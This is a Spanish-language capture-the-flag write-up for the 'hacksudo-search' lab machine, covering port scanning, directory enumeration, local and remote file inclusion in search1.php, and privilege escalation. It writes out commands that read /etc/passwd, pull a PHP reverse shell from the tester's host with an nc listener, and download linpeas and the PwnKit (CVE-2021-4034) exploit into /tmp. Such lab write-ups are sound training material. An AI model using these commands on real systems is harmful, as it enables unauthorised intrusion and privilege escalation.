

**Informe de Pentesting - Máquina CTF "hacksudo-search"**

**Fecha: 3 de julio de 2023**

**Realizado Por: Msc. Angel R. Paz**

**Resumen:**

El objetivo de este informe es documentar las actividades de pentesting y hacking ético realizadas en la máquina CTF "hacksudo-search". Se llevaron a cabo diversas pruebas de seguridad para identificar vulnerabilidades y obtener acceso no autorizado con el fin de evaluar la postura de seguridad del sistema. A continuación, se presentan los hallazgos y resultados obtenidos durante el proceso.

1. **Escaneo de Puertos con Nmap:**

Se realizó un escaneo de puertos en la máquina "hacksudo-search" utilizando Nmap. Los resultados indicaron la presencia de dos puertos abiertos:

* 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
* 80/tcp open http Apache httpd 2.4.38 (Debian)

***Comandos:***

* ***nmap -sS -sV <IP>***
* ***nmap -sC -p22,80 <IP>***

1. **Búsqueda de Directorios con Gobuster:**

Se utilizó Gobuster para buscar directorios y archivos en la máquina CTF. Se encontraron varios directorios y archivos relevantes:

* /index.php (Status: 200) [Size: 715]
* /search.php (Status: 200) [Size: 165]
* /images (Status: 301) [Size: 315]
* /submit.php (Status: 200) [Size: 165]
* /assets (Status: 301) [Size: 315]
* /account (Status: 301) [Size: 316
* /javascript (Status: 301) [Size: 319]
* /robots.txt (Status: 200) [Size: 75]
* /LICENSE (Status: 200) [Size: 1074]
* /search1.php (Status: 200) [Size: 2918]

***Comandos:***

* ***gobuster dir -u http://192.168.2.106 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt***

1. **Acceso al Sistema:**

Se descubrió una vulnerabilidad en la página /search1.php que permitía obtener los usuarios del sistema al agregar "/etc/passwd" después de la variable "Me" en minúsculas. Para ello descargamos el código php de la pagina search1.php para entender el funcionamiento de la pagina. (Primeros comandos)

***Comandos:***

* ***curl -s -X GET*** [***http://192.168.2.106/search1.php?me=/etc/passwd***](http://192.168.2.106/search1.php?me=/etc/passwd)
* ***curl -s -X GET <http://192.168.2.106/search1.php?me=php://filter/convert.base64-encode/resource=search1.php>***
* ***echo "codigo" | base64 -d***

**Ejecución de Reverse Shell:**

Se subió una reverse shell al sistema y se ejecutó para establecer una conexión de backdoor y obtener acceso a la máquina.(/usr/share/webshell/php/php-reverseshell.php) Modificamos la ip de nuestra maquina kali con el puerto 1234

***Comandos:***

* ***cp /usr/share/webshell/php/php-reverseshell.php /webshell.php***
* ***python3 -m http.server 80***
* ***nc -lvp 1234***
* ***curl -s -X GET "http://192.168.2.106/search1.php?me=http://192.168.20.27:85/webshell.php***

1. **Elevación de Privilegios:**

Se utilizó la herramienta linpeas.sh para buscar posibles formas de elevar los privilegios en la máquina. Se identificó que era posible utilizar el exploit CVE-2021-4034 Pwnkit para elevar los privilegios en la máquina. Se descargó el exploit, se otorgaron permisos y se ejecutó con éxito.

***Comandos:***

* ***python3 -m http.server 80***
* ***cd /tmp***
* ***wget http://<ip>:80/linpeas.sh***
* ***chmod +x linpeas.sh***
* ***./linpeas.sh***
* ***wget http://<ip>:80/Pwnkit***
* ***chmod +x Pwnkit***

**Conclusiones:**

Durante las actividades de pentesting, se identificaron diversas vulnerabilidades en la máquina CTF "hacksudo-search". Se logró obtener acceso no autorizado a la máquina utilizando una combinación de técnicas, como la ejecución de una reverse shell y la explotación de una vulnerabilidad de elevación de privilegios. Estos hallazgos resaltan la importancia de mantener el sistema actualizado y protegido contra posibles amenazas.